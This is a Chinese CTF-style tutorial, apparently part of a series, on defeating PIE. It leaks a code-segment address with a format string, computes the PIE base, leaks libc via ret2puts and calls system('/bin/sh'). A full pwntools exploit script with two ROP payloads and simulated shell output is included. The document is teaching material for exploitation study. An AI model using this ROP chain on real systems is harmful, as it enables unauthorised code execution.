写在前面:在绕过 Canary 之后,我们经常会遇到另一座大山——PIE(位置无关可执行文件)。开启 PIE 后,程序自身的代码段(
.text)、PLT 表、GOT 表等地址每次运行都会随机变化。这意味着我们之前辛辛苦苦找的pop rdi; ret和puts@plt地址全部失效!本文将教你如何利用栈上残留的代码段地址推导出 PIE 基址,并在已知基址的前提下,利用ret2puts完成对 libc 地址的二次泄露。
📑 目录
- PIE 机制解析:代码段也随机了,ROP 链何去何从?
- 破局核心:相对偏移固定与“12位不变”原理
- 第一阶段:泄露栈上残留地址,计算 PIE 基址
- 第二阶段:重获新生,ret2puts 泄露 libc 地址
- 实战推演:双阶段泄露打通 PIE 保护
1. PIE 机制解析:代码段也随机了,ROP 链何去何从?
在没开 PIE 的情况下,程序编译后的.text段地址是固定的(如0x401000)。开了 PIE 后,程序每次加载到内存的基址是随机的(如第一次是0x555555554000,第二次是0x7ffff7a00000)。
痛点所在:
我们之前依赖的程序自带的 Gadget(如pop rdi; ret)和puts@plt的地址全变成了未知的随机值。没有pop rdi就无法传参,没有puts@plt就无法打印,ROP 链直接断在起点。
2. 破局核心:相对偏移固定与“12位不变”原理
PIE 并不是完美的。它的随机化是以内存页(通常是 0x1000 字节,即 4KB)为粒度进行的。
这意味着:
- 基址的末尾 12 位(3个十六进制位,即 1 页内偏移)永远是
000。 - 程序内部各个地址之间的相对偏移量是永远不变的。
例如,不管程序加载到哪里,main函数相对于基址的偏移量如果是0x1156,那么main的真实地址永远是PIE_base + 0x1156。
只要我们能泄露任意一个代码段内的地址,用它的真实地址减去它的相对偏移,就能逆推出当前的 PIE 基址!
3. 第一阶段:泄露栈上残留地址,计算 PIE 基址
怎么泄露代码段地址呢?最简单的方法是利用栈上残留的返回地址。
原理推演:
当main函数调用vuln函数时,栈上会压入main函数中call vuln的下一条指令地址(如main+0x2a)。这个地址属于代码段!
如果vuln函数中存在可以打印栈数据的漏洞(如格式化字符串%p泄露,或者利用puts打印未初始化的局部变量越界读到栈上的返回地址),我们就能拿到它。
假设性场景(格式化字符串泄露):
程序执行printf(buf),我们输入%p.%p.%p...逐个探测栈上的数据。
模拟终端输出:
0x7fff12345670.0x555555555156.0x7ffff7a...假设通过偏移计算,我们确认第二个泄露的值0x555555555156是main函数的返回地址(main+0x2a之类)。
我们在 IDA 或 Ghidra 中查看该程序,发现这个指令在未开 PIE 时的静态地址是0x1156。
计算 PIE 基址:
leak_code_addr = 0x555555555156 static_offset = 0x1156 pie_base = leak_code_addr - static_offset log.success(f"PIE Base: {hex(pie_base)}") # 输出: PIE Base: 0x555555554000 (末尾必定是 000)拿到了 PIE 基址,程序对我们来说又变成了“透明”的!
4. 第二阶段:重获新生,ret2puts 泄露 libc 地址
既然有了 PIE 基址,我们就能算出puts@plt和 Gadget 的真实地址了。接下来,就是 Week4 学过的ret2libc泄露环节。
核心公式:
- 真实 Gadget 地址 = PIE 基址 + 静态 Gadget 偏移
- 真实
puts@plt地址 = PIE 基址 +puts@plt偏移 - 真实
puts@got地址 = PIE 基址 +puts@got偏移
假设性数据准备:
# 已通过 PIE 基址计算出的真实地址 pop_rdi = pie_base + 0x1193 puts_plt = pie_base + 0x1030 puts_got = pie_base + 0x4018 main_addr = pie_base + 0x1156 # 用于二次返回有了这些真实地址,我们就可以构造第一发 Payload:puts(puts@got),把 libc 的真实地址打印出来。
5. 实战推演:双阶段泄露打通 PIE 保护
完整攻击流推演:
阶段一:泄露 PIE 基址
from pwn import * p = process('./vuln') elf = ELF('./vuln') # 1. 触发格式化字符串或栈越界读,泄露栈上的代码段地址 p.sendline(b'%7$p') leak = p.recvline() code_addr = int(leak, 16) # 2. 计算 PIE 基址 (假设泄露的是 main+0x2a, 静态地址 0x1156) pie_base = code_addr - 0x1156 log.success(f"PIE Base: {hex(pie_base)}") # 动态计算真实地址 pop_rdi = pie_base + 0x1193 ret = pie_base + 0x101a # 用于栈对齐 puts_plt = pie_base + elf.plt['puts'] puts_got = pie_base + elf.got['puts'] main_addr = pie_base + elf.symbols['main']阶段二:ret2puts 泄露 libc 并 Getshell
# 3. 构造 Payload 1: 泄露 puts 的 libc 真实地址 payload1 = b'A' * 40 # 假设偏移 40 (假设已绕过 Canary) payload1 += p64(pop_rdi) payload1 += p64(puts_got) payload1 += p64(puts_plt) payload1 += p64(main_addr) # 返回到 main,准备二次溢出 p.sendline(payload1) # 4. 接收并计算 libc 基址 leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00')) libc_base = leaked_puts - 0x6f6a0 # 假设本地 libc puts 偏移 log.success(f"Libc Base: {hex(libc_base)}") system_addr = libc_base + 0x45390 bin_sh_addr = libc_base + 0x18ce17 # 5. 构造 Payload 2: 调用 system("/bin/sh") payload2 = b'A' * 40 payload2 += p64(ret) # 栈对齐 payload2 += p64(pop_rdi) payload2 += p64(bin_sh_addr) payload2 += p64(system_addr) p.sendline(payload2) p.interactive()模拟终端输出:
[+] PIE Base: 0x555555554000 [+] Libc Base: 0x7ffff79e2000 [*] Switching to interactive mode $ id uid=1000(user) gid=1000(user) groups=1000(user)完美!在 PIE 和 ASLR 的双重夹击下,通过“先推 PIE,再推 libc”的连环拳成功拿 Shell。
6. 结语
PIE 保护看似让所有地址都变成了盲盒,但只要抓住“页内偏移不变”这个命门,通过泄露任意一个代码段地址就能逆推出全局基址。
在实际 CTF 中,如果题目同时开了 Canary 和 PIE,通常的解题套娃顺序是:先绕过/泄露 Canary -> 再泄露 PIE 基址 -> 再泄露 libc 基址 -> 最终 ROP。
下一篇,我们将学习一种不需要算偏移、不需要完整地址的精细化控制技术——Partial Overwrite(部分覆盖)与 off-by-null 的结合应用。如果本文对你有帮助,请点赞收藏支持!🙏